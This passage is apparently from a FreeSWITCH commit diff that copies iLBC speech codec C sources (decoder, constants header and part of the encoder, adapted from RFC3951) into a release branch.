+
+        meml_gotten = iLBCdec_inst->state_short_len;
+        for (k = 0;  k < meml_gotten;  k++)
+            mem[CB_MEML - 1 - k] = decresidual[start_pos + k];
+        memset(mem, 0, (CB_MEML - k)*sizeof(float));
+
+        /* Construct decoded vector */
+        iCBConstruct(reverseDecresidual, extra_cb_index,
+                     extra_gain_index,
+                     mem + CB_MEML - stMemLTbl,
+                     stMemLTbl,
+                     diff,
+                     CB_NSTAGES);
+
+        /* Get decoded residual from reversed vector */
+        for (k = 0;  k < diff;  k++)
+            decresidual[start_pos - 1 - k] = reverseDecresidual[k];
+    }
+
+    /* Counter for predicted sub-frames */
+    subcount = 0;
+
+    /* Forward prediction of sub-frames */
+    Nfor = iLBCdec_inst->nsub-start - 1;
+
+    if (Nfor > 0)
+    {
+        /* Setup memory */
+        memset(mem, 0, (CB_MEML-STATE_LEN)*sizeof(float));
+        memcpy(mem + CB_MEML - STATE_LEN, decresidual + (start - 1)*SUBL, STATE_LEN*sizeof(float));
+
+        /* Loop over sub-frames to encode */
+        for (subframe = 0;  subframe < Nfor;  subframe++)
+        {
+            /* Construct decoded vector */
+            iCBConstruct(&decresidual[(start + 1 + subframe)*SUBL],
+                         cb_index+subcount*CB_NSTAGES,
+                         gain_index+subcount*CB_NSTAGES,
+                         mem + CB_MEML - memLfTbl[subcount],
+                         memLfTbl[subcount],
+                         SUBL,
+                         CB_NSTAGES);
+
+            /* Update memory */
+            memcpy(mem, mem + SUBL, (CB_MEML - SUBL)*sizeof(float));
+            memcpy(mem + CB_MEML-SUBL,
+                   &decresidual[(start + 1 + subframe)*SUBL],
+                   SUBL*sizeof(float));
+
+            subcount++;
+        }
+    }
+
+    /* Backward prediction of sub-frames */
+    Nback = start - 1;
+
+    if (Nback > 0)
+    {
+        /* Setup memory */
+        meml_gotten = SUBL*(iLBCdec_inst->nsub + 1 - start);
+
+        if (meml_gotten > CB_MEML)
+            meml_gotten = CB_MEML;
+        for (k = 0;  k < meml_gotten;  k++)
+            mem[CB_MEML - 1 - k] = decresidual[(start - 1)*SUBL + k];
+        memset(mem, 0, (CB_MEML - k)*sizeof(float));
+
+        /* Loop over subframes to decode */
+        for (subframe = 0;  subframe < Nback;  subframe++)
+        {
+            /* Construct decoded vector */
+            iCBConstruct(&reverseDecresidual[subframe*SUBL],
+                         cb_index + subcount*CB_NSTAGES,
+                         gain_index + subcount*CB_NSTAGES,
+                         mem + CB_MEML - memLfTbl[subcount],
+                         memLfTbl[subcount],
+                         SUBL,
+                         CB_NSTAGES);
+
+            /* Update memory */
+            memcpy(mem, mem + SUBL, (CB_MEML - SUBL)*sizeof(float));
+            memcpy(mem + CB_MEML - SUBL,
+                   &reverseDecresidual[subframe*SUBL],
+                   SUBL*sizeof(float));
+
+            subcount++;
+        }
+
+        /* Get decoded residual from reversed vector */
+        for (i = 0;  i < SUBL*Nback;  i++)
+            decresidual[SUBL*Nback - i - 1] = reverseDecresidual[i];
+    }
+}
+
+/*----------------------------------------------------------------*
+ *  main decoder function
+ *---------------------------------------------------------------*/
+
+static void ilbc_decode_frame(ilbc_decode_state_t *iLBCdec_inst, /* (i/o) the decoder state structure */
+                              float decblock[],                  /* (o) decoded signal block */
+                              const uint8_t bytes[],             /* (i) encoded signal bits */
+                              int mode)                          /* (i) 0: bad packet, PLC, 1: normal */
+{
+    float data[ILBC_BLOCK_LEN_MAX];
+    float lsfdeq[ILBC_LPC_FILTERORDER*LPC_N_MAX];
+    float PLCresidual[ILBC_BLOCK_LEN_MAX];
+    float PLClpc[ILBC_LPC_FILTERORDER + 1];
+    float zeros[ILBC_BLOCK_LEN_MAX];
+    float one[ILBC_LPC_FILTERORDER + 1];
+    int k;
+    int i;
+    int start;
+    int idxForMax;
+    int pos;
+    int lastpart;
+    int ulp;
+    int lag;
+    int ilag;
+    float cc;
+    float maxcc;
+    int idxVec[STATE_LEN];
+    int check;
+    int gain_index[NASUB_MAX*CB_NSTAGES];
+    int extra_gain_index[CB_NSTAGES];
+    int cb_index[CB_NSTAGES*NASUB_MAX];
+    int extra_cb_index[CB_NSTAGES];
+    int lsf_i[LSF_NSPLIT*LPC_N_MAX];
+    int state_first;
+    int last_bit;
+    const uint8_t *pbytes;
+    float weightdenum[(ILBC_LPC_FILTERORDER + 1)*ILBC_NUM_SUB_MAX];
+    int order_plus_one;
+    float syntdenum[ILBC_NUM_SUB_MAX*(ILBC_LPC_FILTERORDER + 1)];
+    float decresidual[ILBC_BLOCK_LEN_MAX];
+
+    if (mode > 0)
+    {
+        /* The data is good. decode it. */
+        pbytes = bytes;
+        pos = 0;
+
+        /* Set everything to zero before decoding */
+        for (k = 0;  k < LSF_NSPLIT*LPC_N_MAX;  k++)
+            lsf_i[k] = 0;
+        start = 0;
+        state_first = 0;
+        idxForMax = 0;
+        for (k = 0;  k < iLBCdec_inst->state_short_len;  k++)
+            idxVec[k] = 0;
+        for (k = 0;  k < CB_NSTAGES;  k++)
+        {
+            extra_cb_index[k] = 0;
+            extra_gain_index[k] = 0;
+        }
+        for (i = 0;  i < iLBCdec_inst->nasub;  i++)
+        {
+            for (k = 0;  k < CB_NSTAGES;  k++)
+            {
+                cb_index[i*CB_NSTAGES + k] = 0;
+                gain_index[i*CB_NSTAGES + k] = 0;
+            }
+        }
+
+        /* Loop over ULP classes */
+        for (ulp = 0;  ulp < 3;  ulp++)
+        {
+            /* LSF */
+            for (k = 0;  k < LSF_NSPLIT*iLBCdec_inst->lpc_n;  k++)
+            {
+                unpack(&pbytes, &lastpart, iLBCdec_inst->ULP_inst->lsf_bits[k][ulp], &pos);
+                packcombine(&lsf_i[k], lastpart, iLBCdec_inst->ULP_inst->lsf_bits[k][ulp]);
+            }
+
+            /* Start block info */
+            unpack(&pbytes, &lastpart, iLBCdec_inst->ULP_inst->start_bits[ulp], &pos);
+            packcombine(&start, lastpart, iLBCdec_inst->ULP_inst->start_bits[ulp]);
+
+            unpack(&pbytes, &lastpart, iLBCdec_inst->ULP_inst->startfirst_bits[ulp], &pos);
+            packcombine(&state_first, lastpart, iLBCdec_inst->ULP_inst->startfirst_bits[ulp]);
+
+            unpack(&pbytes, &lastpart, iLBCdec_inst->ULP_inst->scale_bits[ulp], &pos);
+            packcombine(&idxForMax, lastpart, iLBCdec_inst->ULP_inst->scale_bits[ulp]);
+
+            for (k = 0;  k < iLBCdec_inst->state_short_len;  k++)
+            {
+                unpack(&pbytes, &lastpart, iLBCdec_inst->ULP_inst->state_bits[ulp], &pos);
+                packcombine(idxVec + k, lastpart, iLBCdec_inst->ULP_inst->state_bits[ulp]);
+            }
+
+            /* 23/22 (20ms/30ms) sample block */
+            for (k = 0;  k < CB_NSTAGES;  k++)
+            {
+                unpack(&pbytes, &lastpart, iLBCdec_inst->ULP_inst->extra_cb_index[k][ulp], &pos);
+                packcombine(extra_cb_index + k, lastpart, iLBCdec_inst->ULP_inst->extra_cb_index[k][ulp]);
+            }
+            for (k = 0;  k < CB_NSTAGES;  k++)
+            {
+                unpack(&pbytes, &lastpart, iLBCdec_inst->ULP_inst->extra_cb_gain[k][ulp], &pos);
+                packcombine(extra_gain_index + k, lastpart, iLBCdec_inst->ULP_inst->extra_cb_gain[k][ulp]);
+            }
+
+            /* The two/four (20ms/30ms) 40 sample sub-blocks */
+            for (i = 0;  i < iLBCdec_inst->nasub;  i++)
+            {
+                for (k = 0;  k < CB_NSTAGES;  k++)
+                {
+                    unpack(&pbytes, &lastpart, iLBCdec_inst->ULP_inst->cb_index[i][k][ulp], &pos);
+                    packcombine(cb_index + i*CB_NSTAGES + k, lastpart, iLBCdec_inst->ULP_inst->cb_index[i][k][ulp]);
+                }
+            }
+            for (i = 0;  i < iLBCdec_inst->nasub;  i++)
+            {
+                for (k = 0;  k < CB_NSTAGES;  k++)
+                {
+                    unpack(&pbytes, &lastpart, iLBCdec_inst->ULP_inst->cb_gain[i][k][ulp], &pos);
+                    packcombine(gain_index + i*CB_NSTAGES + k, lastpart, iLBCdec_inst->ULP_inst->cb_gain[i][k][ulp]);
+                }
+            }
+        }
+        /* Extract last bit. If it is 1 this indicates an empty/lost frame */
+        unpack(&pbytes, &last_bit, 1, &pos);
+
+        /* Check for bit errors or empty/lost frames */
+        if (start < 1)
+            mode = 0;
+        if (iLBCdec_inst->mode == 20  &&  start > 3)
+            mode = 0;
+        if (iLBCdec_inst->mode == 30  &&  start > 5)
+            mode = 0;
+        if (last_bit == 1)
+            mode = 0;
+
+        if (mode == 1)
+        {
+            /* No bit errors was detected, continue decoding */
+
+            /* Adjust index */
+            index_conv_dec(cb_index);
+
+            /* Decode the LSF */
+            SimplelsfDEQ(lsfdeq, lsf_i, iLBCdec_inst->lpc_n);
+            check = LSF_check(lsfdeq, ILBC_LPC_FILTERORDER, iLBCdec_inst->lpc_n);
+            DecoderInterpolateLSF(syntdenum, weightdenum, lsfdeq, ILBC_LPC_FILTERORDER, iLBCdec_inst);
+
+            Decode(iLBCdec_inst,
+                   decresidual,
+                   start,
+                   idxForMax,
+                   idxVec,
+                   syntdenum,
+                   cb_index,
+                   gain_index,
+                   extra_cb_index,
+                   extra_gain_index,
+                   state_first);
+
+            /* Preparing the plc for a future loss! */
+            doThePLC(PLCresidual,
+                     PLClpc,
+                     0,
+                     decresidual,
+                     syntdenum + (ILBC_LPC_FILTERORDER + 1)*(iLBCdec_inst->nsub - 1),
+                     (*iLBCdec_inst).last_lag,
+                     iLBCdec_inst);
+
+            memcpy(decresidual, PLCresidual, iLBCdec_inst->blockl*sizeof(float));
+        }
+    }
+
+    if (mode == 0)
+    {
+        /* The data is bad (either a PLC call
+         * was made or a severe bit error was detected)
+         */
+
+        /* Apply packet loss concealmeant */
+        memset(zeros, 0, ILBC_BLOCK_LEN_MAX*sizeof(float));
+
+        one[0] = 1;
+        memset(one + 1, 0, ILBC_LPC_FILTERORDER*sizeof(float));
+
+        start = 0;
+ 
+        doThePLC(PLCresidual, PLClpc, 1, zeros, one, (*iLBCdec_inst).last_lag, iLBCdec_inst);
+        memcpy(decresidual, PLCresidual, iLBCdec_inst->blockl*sizeof(float));
+
+        order_plus_one = ILBC_LPC_FILTERORDER + 1;
+        for (i = 0;  i < iLBCdec_inst->nsub;  i++)
+            memcpy(syntdenum + (i*order_plus_one), PLClpc, order_plus_one*sizeof(float));
+    }
+
+    if (iLBCdec_inst->use_enhancer == 1)
+    {
+        /* Post filtering */
+        iLBCdec_inst->last_lag = enhancerInterface(data, decresidual, iLBCdec_inst);
+
+        /* Synthesis filtering */
+        if (iLBCdec_inst->mode == 20)
+        {
+            /* Enhancer has 40 samples delay */
+            i = 0;
+            syntFilter(data + i*SUBL,
+                       iLBCdec_inst->old_syntdenum + (i + iLBCdec_inst->nsub - 1)*(ILBC_LPC_FILTERORDER + 1),
+                       SUBL,
+                       iLBCdec_inst->syntMem);
+
+            for (i = 1;  i < iLBCdec_inst->nsub;  i++)
+            {
+                syntFilter(data + i*SUBL,
+                           syntdenum + (i - 1)*(ILBC_LPC_FILTERORDER + 1),
+                           SUBL,
+                           iLBCdec_inst->syntMem);
+            }
+        }
+        else if (iLBCdec_inst->mode == 30)
+        {
+            /* Enhancer has 80 samples delay */
+            for (i = 0;  i < 2;  i++)
+            {
+                syntFilter(data + i*SUBL,
+                           iLBCdec_inst->old_syntdenum + (i + iLBCdec_inst->nsub - 2)*(ILBC_LPC_FILTERORDER+1),
+                           SUBL,
+                           iLBCdec_inst->syntMem);
+            }
+            for (i = 2;  i < iLBCdec_inst->nsub;  i++)
+            {
+                syntFilter(data + i*SUBL,
+                           syntdenum + (i - 2)*(ILBC_LPC_FILTERORDER + 1),
+                           SUBL,
+                           iLBCdec_inst->syntMem);
+            }
+        }
+    }
+    else
+    {
+        /* Find last lag */
+        lag = 20;
+        maxcc = xCorrCoef(&decresidual[ILBC_BLOCK_LEN_MAX - ENH_BLOCKL],
+                          &decresidual[ILBC_BLOCK_LEN_MAX - ENH_BLOCKL - lag],
+                          ENH_BLOCKL);
+
+        for (ilag = 21;  ilag < 120;  ilag++)
+        {
+            cc = xCorrCoef(&decresidual[ILBC_BLOCK_LEN_MAX - ENH_BLOCKL],
+                           &decresidual[ILBC_BLOCK_LEN_MAX - ENH_BLOCKL - ilag],
+                           ENH_BLOCKL);
+            if (cc > maxcc)
+            {
+                maxcc = cc;
+                lag = ilag;
+            }
+        }
+        iLBCdec_inst->last_lag = lag;
+
+        /* Copy data and run synthesis filter */
+        memcpy(data, decresidual, iLBCdec_inst->blockl*sizeof(float));
+        for (i = 0;  i < iLBCdec_inst->nsub;  i++)
+        {
+            syntFilter(data + i*SUBL,
+                       syntdenum + i*(ILBC_LPC_FILTERORDER + 1),
+                       SUBL,
+                       iLBCdec_inst->syntMem);
+        }
+    }
+
+    /* High pass filtering on output if desired, otherwise copy to out */
+    hpOutput(data, iLBCdec_inst->blockl, decblock, iLBCdec_inst->hpomem);
+
+    /* memcpy(decblock, data, iLBCdec_inst->blockl*sizeof(float));*/
+    memcpy(iLBCdec_inst->old_syntdenum,
+           syntdenum,
+           iLBCdec_inst->nsub*(ILBC_LPC_FILTERORDER + 1)*sizeof(float));
+
+    iLBCdec_inst->prev_enh_pl = 0;
+
+    if (mode == 0)
+    {
+        /* PLC was used */
+        iLBCdec_inst->prev_enh_pl = 1;
+    }
+}
+
+int ilbc_decode(ilbc_decode_state_t *s,     /* (i/o) the decoder state structure */
+                int16_t amp[],              /* (o) decoded signal block */
+                const uint8_t bytes[],      /* (i) encoded signal bits */
+                int len)
+{
+    int i;
+    int j;
+    int k;
+    float decblock[ILBC_BLOCK_LEN_MAX];
+    float dtmp;
+
+    for (i = 0, j = 0;  j < len;  i += s->blockl, j += s->no_of_bytes)
+    {
+        ilbc_decode_frame(s, decblock, bytes + j, 1);
+        /* Convert to int16_t */
+        for (k = 0;  k < s->blockl;  k++)
+        {
+            dtmp = decblock[k];
+    
+            if (dtmp < MIN_SAMPLE)
+                dtmp = MIN_SAMPLE;
+            else if (dtmp > MAX_SAMPLE)
+                dtmp = MAX_SAMPLE;
+            amp[i + k] = (int16_t) rint(dtmp);
+        }
+    }
+    return i;
+}
+
+int ilbc_fillin(ilbc_decode_state_t *s,     /* (i/o) the decoder state structure */
+                int16_t amp[],              /* (o) decoded signal block */
+                int len)
+{
+    int i;
+    int j;
+    int k;
+    float decblock[ILBC_BLOCK_LEN_MAX];
+    float dtmp;
+
+    for (i = 0, j = 0;  j < len;  i += s->blockl, j += s->no_of_bytes)
+    {
+        ilbc_decode_frame(s, decblock, NULL, 0);
+        /* Convert to int16_t */
+        for (k = 0;  k < s->blockl;  k++)
+        {
+            dtmp = decblock[k];
+    
+            if (dtmp < MIN_SAMPLE)
+                dtmp = MIN_SAMPLE;
+            else if (dtmp > MAX_SAMPLE)
+                dtmp = MAX_SAMPLE;
+            amp[i + k] = (int16_t) rint(dtmp);
+        }
+    }
+    return i;
+}

Deleted: freeswitch/branches/seven/libs/ilbc/src/iLBC_define.h

Copied: freeswitch/branches/seven/libs/ilbc/src/iLBC_define.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/iLBC_define.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/iLBC_define.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/iLBC_define.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,107 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * iLBC_define.h - The head guy amongst the headers
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: iLBC_define.h,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+/*! \file */
+
+#if !defined(_ILBC_DEFINE_H_)
+#define _ILBC_DEFINE_H_
+
+#include <string.h>
+
+#define FS                      8000.0f
+#define NSUB_20MS               4
+#define NSUB_30MS               6
+#define NASUB_20MS              2
+
+
+#define NASUB_30MS              4
+#define NASUB_MAX               4
+#define SUBL                    40
+#define STATE_LEN               80
+#define STATE_SHORT_LEN_30MS    58
+#define STATE_SHORT_LEN_20MS    57
+
+/* LPC settings */
+
+#define ILBC_LPC_FILTERORDER    10
+#define LPC_CHIRP_SYNTDENUM     0.9025f
+#define LPC_CHIRP_WEIGHTDENUM   0.4222f
+#define LPC_LOOKBACK            60
+#define LPC_N_20MS              1
+#define LPC_N_30MS              2
+#define LPC_N_MAX               2
+#define LPC_ASYMDIFF            20
+#define LPC_BW                  60.0f
+#define LPC_WN                  1.0001f
+#define LSF_NSPLIT              3
+#define LSF_NUMBER_OF_STEPS     4
+#define LPC_HALFORDER           (ILBC_LPC_FILTERORDER/2)
+
+/* cb settings */
+
+#define CB_NSTAGES              3
+#define CB_EXPAND               2
+#define CB_MEML                 147
+#define CB_FILTERLEN            2*4
+#define CB_HALFFILTERLEN        4
+#define CB_RESRANGE             34
+#define CB_MAXGAIN              1.3f
+
+/* enhancer */
+
+#define ENH_BLOCKL              80  /* block length */
+#define ENH_BLOCKL_HALF         (ENH_BLOCKL/2)
+#define ENH_HL                  3   /* 2*ENH_HL+1 is number blocks in said second sequence */
+#define ENH_SLOP                2   /* max difference estimated and correct pitch period */
+#define ENH_PLOCSL              20  /* pitch-estimates and pitch-locations buffer length */
+#define ENH_OVERHANG            2
+#define ENH_UPS0                4   /* upsampling rate */
+#define ENH_FL0                 3   /* 2*FLO+1 is the length of each filter */
+#define ENH_VECTL               (ENH_BLOCKL + 2*ENH_FL0)
+
+#define ENH_CORRDIM             (2*ENH_SLOP + 1)
+#define ENH_NBLOCKS             (ILBC_BLOCK_LEN_MAX/ENH_BLOCKL)
+#define ENH_NBLOCKS_EXTRA       5
+#define ENH_NBLOCKS_TOT         8   /* ENH_NBLOCKS + ENH_NBLOCKS_EXTRA */
+#define ENH_BUFL                (ENH_NBLOCKS_TOT*ENH_BLOCKL)
+#define ENH_ALPHA0              0.05f
+
+/* Down sampling */
+
+#define FILTERORDER_DS          7
+#define DELAY_DS                3
+#define FACTOR_DS               2
+
+/* bit stream defs */
+
+#define STATE_BITS              3
+#define BYTE_LEN                8
+
+/* help parameters */
+
+#define FLOAT_MAX               1.0e37f
+#define EPS                     2.220446049250313e-016f
+#define PI                      3.14159265358979323846f
+#define MIN_SAMPLE              -32768
+#define MAX_SAMPLE              32767
+#define TWO_PI                  6.283185307f
+#define PI2                     0.159154943f
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/ilbc/src/iLBC_encode.c

Copied: freeswitch/branches/seven/libs/ilbc/src/iLBC_encode.c (from rev 14471, freeswitch/trunk/libs/ilbc/src/iLBC_encode.c) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/iLBC_encode.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/iLBC_encode.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,517 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * iLBC_encode.c - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: iLBC_encode.c,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+/*! \file */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <inttypes.h>
+#include <math.h>
+#include <stdlib.h>
+#include <string.h>
+
+#include "ilbc.h"
+#include "LPCencode.h"
+#include "FrameClassify.h"
+#include "StateSearchW.h"
+#include "StateConstructW.h"
+#include "helpfun.h"
+#include "constants.h"
+#include "packing.h"
+#include "iCBSearch.h"
+#include "iCBConstruct.h"
+#include "hpInput.h"
+#include "anaFilter.h"
+#include "syntFilter.h"
+
+/*----------------------------------------------------------------*
+ *  Initiation of encoder instance.
+ *---------------------------------------------------------------*/
+
+ilbc_encode_state_t *ilbc_encode_init(ilbc_encode_state_t *iLBCenc_inst, /* (i/o) Encoder instance */
+                                      int mode)                          /* (i) frame size mode */
+{
+    iLBCenc_inst->mode = mode;
+    if (mode == 30)
+    {
+        iLBCenc_inst->blockl = ILBC_BLOCK_LEN_30MS;
+        iLBCenc_inst->nsub = NSUB_30MS;
+        iLBCenc_inst->nasub = NASUB_30MS;
+        iLBCenc_inst->lpc_n = LPC_N_30MS;
+        iLBCenc_inst->no_of_bytes = ILBC_NO_OF_BYTES_30MS;
+        iLBCenc_inst->state_short_len = STATE_SHORT_LEN_30MS;
+        /* ULP init */
+        iLBCenc_inst->ULP_inst = &ULP_30msTbl;
+    }
+    else if (mode == 20)
+    {
+        iLBCenc_inst->blockl = ILBC_BLOCK_LEN_20MS;
+        iLBCenc_inst->nsub = NSUB_20MS;
+        iLBCenc_inst->nasub = NASUB_20MS;
+        iLBCenc_inst->lpc_n = LPC_N_20MS;
+        iLBCenc_inst->no_of_bytes = ILBC_NO_OF_BYTES_20MS;
+        iLBCenc_inst->state_short_len = STATE_SHORT_LEN_20MS;
+        /* ULP init */
+        iLBCenc_inst->ULP_inst = &ULP_20msTbl;
+    }
+    else
+    {
+        return NULL;
+    }
+
+    memset((*iLBCenc_inst).anaMem, 0, ILBC_LPC_FILTERORDER*sizeof(float));
+    memcpy((*iLBCenc_inst).lsfold, lsfmeanTbl, ILBC_LPC_FILTERORDER*sizeof(float));
+    memcpy((*iLBCenc_inst).lsfdeqold, lsfmeanTbl, ILBC_LPC_FILTERORDER*sizeof(float));
+    memset((*iLBCenc_inst).lpc_buffer, 0, (LPC_LOOKBACK + ILBC_BLOCK_LEN_MAX)*sizeof(float));
+    memset((*iLBCenc_inst).hpimem, 0, 4*sizeof(float));
+
+    return iLBCenc_inst;
+}
+
+/*----------------------------------------------------------------*
+ *  main encoder function
+ *---------------------------------------------------------------*/
+
+static int ilbc_encode_frame(ilbc_encode_state_t *iLBCenc_inst,     /* (i/o) the general encoder state */
+                             uint8_t bytes[],                       /* (o) encoded data bits iLBC */
+                             const float block[])                   /* (o) speech vector to encode */
+{
+    float data[ILBC_BLOCK_LEN_MAX];
+    float residual[ILBC_BLOCK_LEN_MAX];
+    float reverseResidual[ILBC_BLOCK_LEN_MAX];
+    int start;
+    int idxForMax;
+    int idxVec[STATE_LEN];
+    float reverseDecresidual[ILBC_BLOCK_LEN_MAX];
+    float mem[CB_MEML];
+    int n;
+    int k;
+    int meml_gotten;
+    int Nfor;
+    int Nback;
+    int i;
+    int pos;
+    int gain_index[CB_NSTAGES*NASUB_MAX],
+    extra_gain_index[CB_NSTAGES];
+    int cb_index[CB_NSTAGES*NASUB_MAX];
+    int extra_cb_index[CB_NSTAGES];
+    int lsf_i[LSF_NSPLIT*LPC_N_MAX];
+    uint8_t *pbytes;
+    int diff;
+    int start_pos;
+    int state_first;
+    float en1;
+    int en2;
+    int index;
+    int ulp;
+    int firstpart;
+    int subcount;
+    int subframe;
+    float weightState[ILBC_LPC_FILTERORDER];
+    float syntdenum[ILBC_NUM_SUB_MAX*(ILBC_LPC_FILTERORDER + 1)];
+    float weightdenum[ILBC_NUM_SUB_MAX*(ILBC_LPC_FILTERORDER + 1)];
+    float decresidual[ILBC_BLOCK_LEN_MAX];
+
+    /* High pass filtering of input signal if such is not done
+       prior to calling this function */
+    hpInput(block, iLBCenc_inst->blockl, data, (*iLBCenc_inst).hpimem);
+
+    /* Otherwise simply copy */
+    /*memcpy(data, block, iLBCenc_inst->blockl*sizeof(float));*/
+
+    /* LPC of hp filtered input data */
+    LPCencode(syntdenum, weightdenum, lsf_i, data, iLBCenc_inst);
+
+
+    /* Inverse filter to get residual */
+    for (n = 0;  n < iLBCenc_inst->nsub;  n++)
+        anaFilter(&data[n*SUBL], &syntdenum[n*(ILBC_LPC_FILTERORDER + 1)], SUBL, &residual[n*SUBL], iLBCenc_inst->anaMem);
+
+    /* Find state location */
+    start = FrameClassify(iLBCenc_inst, residual);
+
+    /* Check if state should be in first or last part of the two subframes */
+    diff = STATE_LEN - iLBCenc_inst->state_short_len;
+    en1 = 0;
+    index = (start - 1)*SUBL;
+
+    for (i = 0;  i < iLBCenc_inst->state_short_len;  i++)
+        en1 += residual[index + i]*residual[index + i];
+    en2 = 0;
+    index = (start - 1)*SUBL+diff;
+    for (i = 0;  i < iLBCenc_inst->state_short_len;  i++)
+        en2 = (int)(en2 + residual[index + i]*residual[index + i]);
+
+    if (en1 > en2)
+    {
+        state_first = 1;
+        start_pos = (start - 1)*SUBL;
+    }
+    else
+    {
+        state_first = 0;
+        start_pos = (start - 1)*SUBL + diff;
+    }
+
+    /* Scalar quantization of state */
+    StateSearchW(iLBCenc_inst,
+                 &residual[start_pos],
+                 &syntdenum[(start - 1)*(ILBC_LPC_FILTERORDER + 1)],
+                 &weightdenum[(start - 1)*(ILBC_LPC_FILTERORDER + 1)],
+                 &idxForMax,
+                 idxVec,
+                 iLBCenc_inst->state_short_len,
+                 state_first);
+
+    StateConstructW(idxForMax,
+                    idxVec,
+                    &syntdenum[(start - 1)*(ILBC_LPC_FILTERORDER + 1)],
+                    &decresidual[start_pos],
+                    iLBCenc_inst->state_short_len);
+
+    /* predictive quantization in state */
+    if (state_first)
+    {
+        /* Put adaptive part in the end */
+
+        /* Setup memory */
+
+        memset(mem, 0, (CB_MEML - iLBCenc_inst->state_short_len)*sizeof(float));
+        memcpy(mem + CB_MEML - iLBCenc_inst->state_short_len, decresidual + start_pos, iLBCenc_inst->state_short_len*sizeof(float));
+        memset(weightState, 0, ILBC_LPC_FILTERORDER*sizeof(float));
+
+        /* Encode sub-frames */
+        iCBSearch(iLBCenc_inst,
+                  extra_cb_index,
+                  extra_gain_index,
+                  &residual[start_pos + iLBCenc_inst->state_short_len],
+                  mem + CB_MEML - stMemLTbl,
+                  stMemLTbl,
+                  diff,
+                  CB_NSTAGES,
+                  &weightdenum[start*(ILBC_LPC_FILTERORDER + 1)],
+                  weightState,
+                  0);
+
+        /* Construct decoded vector */
+        iCBConstruct(&decresidual[start_pos + iLBCenc_inst->state_short_len],
+                     extra_cb_index,
+                     extra_gain_index,
+                     mem + CB_MEML - stMemLTbl,
+                     stMemLTbl,
+                     diff,
+                     CB_NSTAGES);
+    }
+    else
+    {
+        /* Put adaptive part in the beginning */
+
+        /* Create reversed vectors for prediction */
+        for (k = 0;  k < diff;  k++)
+            reverseResidual[k] = residual[(start + 1)*SUBL - 1 - (k + iLBCenc_inst->state_short_len)];
+
+        /* Setup memory */
+        meml_gotten = iLBCenc_inst->state_short_len;
+        for (k = 0;  k < meml_gotten;  k++)
+            mem[CB_MEML - 1 - k] = decresidual[start_pos + k];
+        memset(mem, 0, (CB_MEML - k)*sizeof(float));
+        memset(weightState, 0, ILBC_LPC_FILTERORDER*sizeof(float));
+
+        /* Encode sub-frames */
+        iCBSearch(iLBCenc_inst,
+                  extra_cb_index,
+                  extra_gain_index,
+                  reverseResidual,
+                  mem + CB_MEML - stMemLTbl,
+                  stMemLTbl,
+                  diff,
+                  CB_NSTAGES,
+                  &weightdenum[(start - 1)*(ILBC_LPC_FILTERORDER + 1)],
+                  weightState,
+                  0);
+
+        /* Construct decoded vector */
+        iCBConstruct(reverseDecresidual,
+                     extra_cb_index,
+                     extra_gain_index,
+                     mem + CB_MEML - stMemLTbl,
+                     stMemLTbl,
+                     diff,
+                     CB_NSTAGES);
+
+        /* Get decoded residual from reversed vector */
+        for (k = 0;  k < diff;  k++)
+            decresidual[start_pos - 1 - k] = reverseDecresidual[k];
+    }
+
+    /* Counter for predicted sub-frames */
+    subcount = 0;
+
+    /* Forward prediction of sub-frames */
+    Nfor = iLBCenc_inst->nsub-start - 1;
+
+    if (Nfor > 0)
+    {
+        /* Setup memory */
+        memset(mem, 0, (CB_MEML-STATE_LEN)*sizeof(float));
+        memcpy(mem + CB_MEML - STATE_LEN, decresidual + (start - 1)*SUBL, STATE_LEN*sizeof(float));
+        memset(weightState, 0, ILBC_LPC_FILTERORDER*sizeof(float));
+
+        /* Loop over sub-frames to encode */
+        for (subframe = 0;  subframe < Nfor;  subframe++)
+        {
+            /* Encode sub-frame */
+            iCBSearch(iLBCenc_inst,
+                      cb_index + subcount*CB_NSTAGES,
+                      gain_index + subcount*CB_NSTAGES,
+                      &residual[(start + 1 + subframe)*SUBL],
+                      mem + CB_MEML-memLfTbl[subcount],
+                      memLfTbl[subcount],
+                      SUBL,
+                      CB_NSTAGES,
+                      &weightdenum[(start + 1 + subframe)*(ILBC_LPC_FILTERORDER + 1)],
+                      weightState,
+                      subcount + 1);
+
+            /* Construct decoded vector */
+            iCBConstruct(&decresidual[(start + 1 + subframe)*SUBL],
+                         cb_index + subcount*CB_NSTAGES,
+                         gain_index + subcount*CB_NSTAGES,
+                         mem + CB_MEML - memLfTbl[subcount],
+                         memLfTbl[subcount],
+                         SUBL,
+                         CB_NSTAGES);
+
+            /* Update memory */
+            memcpy(mem, mem+SUBL, (CB_MEML-SUBL)*sizeof(float));
+            memcpy(mem + CB_MEML - SUBL, &decresidual[(start + 1 + subframe)*SUBL], SUBL*sizeof(float));
+            memset(weightState, 0, ILBC_LPC_FILTERORDER*sizeof(float));
+            subcount++;
+        }
+    }
+
